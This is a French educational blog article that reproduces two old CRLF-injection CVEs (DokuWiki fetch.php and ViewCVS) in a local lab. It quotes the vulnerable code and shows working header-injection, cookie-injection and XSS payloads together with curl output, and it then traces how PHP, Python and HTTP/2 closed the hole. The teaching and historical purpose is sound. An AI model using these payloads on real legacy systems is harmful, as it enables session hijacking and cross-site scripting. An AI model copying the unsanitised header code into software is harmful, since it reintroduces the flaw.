HTTP Response Splitting

Écrit par l’équipe HackGyver30 décembre 2025

Table des matières

Introduction

Il y a plus de 15 ans, un type de vulnérabilité faisait des ravages sur le web: le HTTP Response Splitting, également connu sous le nom de CRLF Injection. Cette technique d'attaque, aujourd'hui quasiment disparue grâce aux protections intégrées dans les langages modernes et la rarification d'utilisation du protocole HTTP/1.x, permettait à un attaquant d'injecter des caractères de contrôle (CR = Carriage Return \r, LF = Line Feed \n) dans les en-têtes HTTP d'une réponse serveur.

En exploitant cette faille, il devenait possible de:

  • Injecter des en-têtes HTTP arbitraires (cookies, redirections)
  • Effectuer des attaques XSS (Cross-Site Scripting)
  • Empoisonner les caches des proxys
  • Détourner des sessions utilisateurs

Le principe était simple: les en-têtes HTTP sont séparés par des séquences \r\n (CRLF), et deux CRLF consécutifs (\r\n\r\n) marquent la fin des en-têtes et le début du corps de la réponse. Si une application web insérait des données utilisateur non filtrées dans un en-tête HTTP, un attaquant pouvait littéralement "couper" la réponse et injecter son propre contenu. Dans cet article, nous allons ressusciter cette vulnérabilité historique en analysant le CVE-2006-6965, une faille CRLF Injection découverte dans DokuWiki, et la reproduire dans un environnement de laboratoire.

L'environnement

Pour recréer l'environnement nous allons utiliser une machine virtuelle sous Windows XP avec Xamp v1.5.0, DokuWiki 2006-03-05a,

La première étape consiste à installer Xamp, vous avez juste à extraire le dossier puis à le placer à la racine de «C:\» ensuite exécuter «setup_xampp.bat», puis «xampp-control.exe»

Sur l'interface, cochez Apache et cliquez sur le bouton Start. Il n'est pas nécessaire d'installer le service MySQL car DokuWiki n'utilise pas ça.

xamp

Vous devriez vous retrouver avec:

  • PHP v5.0.5
  • Apache v2.0.55

Ensuite vous n'avez plus qu'à extraire «dokuwiki-2006-03-05.tgz» dans «C:\xampp\htdocs\dokuwiki-2006-03-05»

Voilà, DokuWiki est installé, que de souvenirs cette interface d'époque!

dokuwiki

Le bug

La description du CVE-2006-6965 nous indique:

CRLF injection vulnerability in lib/exe/fetch.php in DokuWiki 2006-03-09e, and possibly earlier, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the media parameter.
NOTE: this issue can be leveraged for XSS attacks.

Regardons le code de «lib/exe/fetch.php» Le problème se situe ligne 38

<?php
/**
 * DokuWiki media passthrough file
 *
 * @license    GPL 2 (http://www.gnu.org/licenses/gpl.html)
 * @author     Andreas Gohr <andi@splitbrain.org>
 */
 
  if(!defined('DOKU_INC')) define('DOKU_INC',realpath(dirname(__FILE__).'/../../').'/');
  require_once(DOKU_INC.'inc/init.php');
  require_once(DOKU_INC.'inc/common.php');
  require_once(DOKU_INC.'inc/pageutils.php');
  require_once(DOKU_INC.'inc/confutils.php');
  require_once(DOKU_INC.'inc/auth.php');
  //close sesseion
  session_write_close();
  if(!defined('CHUNK_SIZE')) define('CHUNK_SIZE',16*1024);
 
  $mimetypes = getMimeTypes();
 
  //get input
  $MEDIA  = getID('media',false); // no cleaning - maybe external
  $CACHE  = calc_cache($_REQUEST['cache']);
  $WIDTH  = $_REQUEST['w'];
  $HEIGHT = $_REQUEST['h'];
  list($EXT,$MIME) = mimetype($MEDIA);
  if($EXT === false){
    $EXT  = 'unknown';
    $MIME = 'application/octet-stream';
  }
 
  //media to local file
  if(preg_match('#^(https?|ftp)://#i',$MEDIA)){
    //handle external media
    $FILE = get_from_URL($MEDIA,$EXT,$CACHE);
    if(!$FILE){
      //download failed - redirect to original URL
      header('Location: '.$MEDIA);
      exit;
    }
  }else{
    $MEDIA = cleanID($MEDIA);
    if(empty($MEDIA)){
      header("HTTP/1.0 400 Bad Request");
      print 'Bad request';
      exit;
    }
 
    //check permissions (namespace only)
    if(auth_quickaclcheck(getNS($MEDIA).':X') < AUTH_READ){
      header("HTTP/1.0 401 Unauthorized");
      //fixme add some image for imagefiles
      print 'Unauthorized';
      exit;
    }
    $FILE  = mediaFN($MEDIA);
  }
 
  //check file existance
  if(!@file_exists($FILE)){
    header("HTTP/1.0 404 Not Found");
    //FIXME add some default broken image
    print 'Not Found';
    exit;
  }
 
  //handle image resizing
  if((substr($MIME,0,5) == 'image') && $WIDTH){
    $FILE = get_resized($FILE,$EXT,$WIDTH,$HEIGHT);
  }
 
  // finally send the file to the client
  sendFile($FILE,$MIME);
  [...]

Le code vérifie si dans ?media= nous avons une URL externe, si ça correspond à http:// alors on entre dans le bloc:

if(preg_match('#^(https?|ftp)://#i',$MEDIA))

Le code essaie ensuite de télécharger le fichier :

$FILE = get_from_URL($MEDIA,$EXT,$CACHE);

Si le téléchargement échoue, le code redirect via l'header vers l'URL originale, problème: l'argument est passé tel quel à l'header, il n'y a aucune sanitisation.

if(!$FILE){
    header('Location: '.$MEDIA);
    exit;
}

L'attaque

Exemple d'injection de cookie dans l'header: fetch.php?media=http://hackgyver.hackerspace/%0d%0aSet-Cookie:%20hacked=true&cache=nocache

C:\Users\Xyl>curl -v "http://localhost:1337/dokuwiki-2006-03-05/lib/exe/fetch.php?media=http://hackgyver.hackerspace/%0d%0aSet-Cookie:%20hacked=true&cache=nocache"
* Host localhost:1337 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:1337...
*   Trying 127.0.0.1:1337...
* Established connection to localhost (127.0.0.1 port 1337) from 127.0.0.1 port 22623
* using HTTP/1.x
> GET /dokuwiki-2006-03-05/lib/exe/fetch.php?media=http://hackgyver.hackerspace/%0d%0aSet-Cookie:%20hacked=true&cache=nocache HTTP/1.1
> Host: localhost:1337
> User-Agent: curl/8.16.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 404 Not Found
< Date: Sun, 21 Dec 2025 16:45:27 GMT
< Server: Apache/2.0.55 (Win32) mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/5.0.5 mod_autoindex_color
< X-Powered-By: PHP/5.0.5
< Set-Cookie: DokuWiki=cea5144d1159321cce90ce41b9d91979; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Location: http://hackgyver.hackerspace/
< Set-Cookie: hacked=true
< Content-Length: 9
< Content-Type: text/html
<
Not Found* Connection #0 to host localhost:1337 left intact
 
C:\Users\Xyl>

Exemple d'injection d'un header pwned: fetch.php?media=http://hackgyver.hackerspace/%0d%0aX-Injected:%20pwned

C:\Users\Xyl>curl -v "http://localhost:1337/dokuwiki-2006-03-05/lib/exe/fetch.php?media=http://hackgyver.hackerspace/%0d%0aX-Injected:%20pwned"
* Host localhost:1337 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:1337...
*   Trying 127.0.0.1:1337...
* Established connection to localhost (127.0.0.1 port 1337) from 127.0.0.1 port 23462
* using HTTP/1.x
> GET /dokuwiki-2006-03-05/lib/exe/fetch.php?media=http://hackgyver.hackerspace/%0d%0aX-Injected:%20pwned HTTP/1.1
> Host: localhost:1337
> User-Agent: curl/8.16.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 404 Not Found
< Date: Sun, 21 Dec 2025 16:48:22 GMT
< Server: Apache/2.0.55 (Win32) mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/5.0.5 mod_autoindex_color
< X-Powered-By: PHP/5.0.5
< Set-Cookie: DokuWiki=60ef82f4b11fd7bf56865d0baac2b552; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Location: http://hackgyver.hackerspace/
< X-Injected: pwned
< Content-Length: 9
< Content-Type: text/html
<
Not Found* Connection #0 to host localhost:1337 left intact
 
C:\Users\Xyl>

Vu que le HTTP Response Splitting permet de casser une réponse HTTP en injectant des retours à la ligne dans un header. En forçant la fin des entêtes, il devient possible d’injecter un nouveau corps de réponse HTTP, nous pouvons donc transformer ça en attaque XSS: fetch.php?media=http://%0D%0A%0D%0A%3Chtml%3E%3Cfont%20color=red%3Eyou%20are%20xssed%3C/font%3E%3C/html%3E

xssed

Nous avions aussi des astuces du genre: %0AContent-Type:%20text/html;charset=UTF-7%0A%0A<script>alert(%27XSS%27);</script> Où on casse l'header et on effectue une injection de corps HTML encodé en UTF-7 pour contourner certains filtres anciens.

xssed2

CVE-2005-4830

Un CVE encore plus ancien, datant de 2005. Cette fois la cible est ViewCVS, une application web en Python pour naviguer dans des dépôts CVS/Subversion.

Même époque, même erreur, langage différent.

Vulnerable Version(s): 0.9.2
Fixed Version(s): 0.9.3
Issue(s):
Description: CRLF injection vulnerability in viewcvs
ViewCVS 0.9.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the content-type parameter.

La vulnérabilité se situe dans «lib/viewcvs.py». Le paramètre content-type est récupéré sans validation:

  http_header()
  generate_page(request, cfg.templates.log, data)
 
### suck up other warnings in _re_co_warning?
_re_co_filename = re.compile(r'^(.*),v\s+-->\s+standard output\s*\n$')
_re_co_warning = re.compile(r'^.*co: .*,v: warning: Unknown phrases like .*\n$')
_re_co_revision = re.compile(r'^revision\s+([\d\.]+)\s*\n$')
def process_checkout(full_name, where, query_dict, default_mime_type):
  rev = query_dict.get('rev')
 
  ### validate the revision?
 
  if not rev or rev == 'HEAD':
    rev_flag = '-p'
  else:
    rev_flag = '-p' + rev
 
  mime_type = query_dict.get('content-type')
  if mime_type:
    ### validate it?
    pass
  else:
    mime_type = default_mime_type

La valeur est ensuite passée directement à la fonction http_header() qui l'injecte dans l'header

_header_sent = 0
def http_header(content_type='text/html'):
  global _header_sent
  if _header_sent:
    return
  print 'Content-Type:', content_type
  print
  _header_sent = 1

Démonstration :

C:\Users\Xyl>curl -v "http://localhost:31337/viewcvs/*checkout*/hackgyver/test.txt?content-type=text/html%0d%0aX-Injected:%20pwned"
* Host localhost:31337 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:31337...
*   Trying 127.0.0.1:31337...
* Established connection to localhost (127.0.0.1 port 31337) from 127.0.0.1 port 11685
* using HTTP/1.x
> GET /viewcvs/*checkout*/hackgyver/test.txt?content-type=text/html%0d%0aX-Injected:%20pwned HTTP/1.1
> Host: localhost:31337
> User-Agent: curl/8.16.0
> Accept: */*
>
* Request completely sent off
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: BaseHTTP/0.3 Python/2.4.4
< Date: Mon, 22 Dec 2025 15:13:51 GMT
< Content-Type: text/html
< X-Injected: pwned
 
Hello World
* shutting down connection #0
C:\Users\Xyl>

En 2008, soit trois ans après la publication du CVE, des instances vulnérables de ViewCVS se retrouvaient encore sur des sites gouvernementaux américains comme scidac-new.ca.sandia.gov (Sandia National Laboratories).

CVE-2005-4830

La disparition du HTTP Response Splitting

Cette classe de vulnérabilités a presque disparu grâce à une combinaison d'évolutions côté langages, normes, serveurs web et navigateurs.

Côté PHP: un correctif centralisé

PHP 5.1.2 a corrigé ce problème en durcissant la fonction header()

The PHP development team is proud to announce the release of PHP 5.1.2.
This release combines small feature enhancements with a fair number of bug fixes and addresses three security issues.
All PHP 5 users are encouraged to upgrade to this release.

The security issues resolved include the following:
    HTTP Response Splitting has been addressed in ext/session and in the header() function.
	Header() can no longer be used to send multiple response headers in a single call.

Source: PHP 5.1.2. Release Announcement (12 Jan 2006)

Même si le push de PHP date de janvier 2006, en 2009-2010 on observait encore ce type de vulnérabilité, quelques moyens de contournement étaient possibles selon la structure du code, mais cela restait très spécifique. Puis Apache / Nginx, sont devenus plus stricts.

Côté Python: une normalisation de la stack

Contrairement à PHP, Python n'a jamais "corrigé" le HTTP Response Splitting au niveau du langage. Historiquement, beaucoup d’applications écrivaient les headers à la main (CGI / scripts), ce qui rendait l’injection CRLF triviale.

Avec le temps, le problème a été largement neutralisé par les frameworks web (validation stricte des valeurs de headers) et la norme WSGI (et plus tard ASGI), qui structure l'émission des headers.

Le coup de grâce: durcissement + nouveaux protocoles

De nos jours les serveurs modernes rejettent beaucoup plus facilement les réponses malformées, et les navigateurs sont devenus paranos... L'adoption de HTTP/2 puis HTTP/3, avec leur format binaire rend ce type d'injection de header aussi beaucoup moins réaliste.

Conclusion

Le HTTP Response Splitting est aujourd'hui une relique du passé neutralisée par l'évolution des technologies, mais comprendre cette vulnérabilité reste pertinent: elle illustre parfaitement comment une simple absence de sanitisation sur des données utilisateur peut compromettre l'intégrité d'un protocole entier. Pour les pentesters, ce type de faille peut encore surgir sur des applications legacy ou des systèmes embarqués utilisant des stacks obsolètes. Et pour tous les autres, c'est un rappel que les protections qu'on tient pour acquises aujourd'hui sont le fruit de décennies de bugs exploités et corrigés.

← Retour aux articles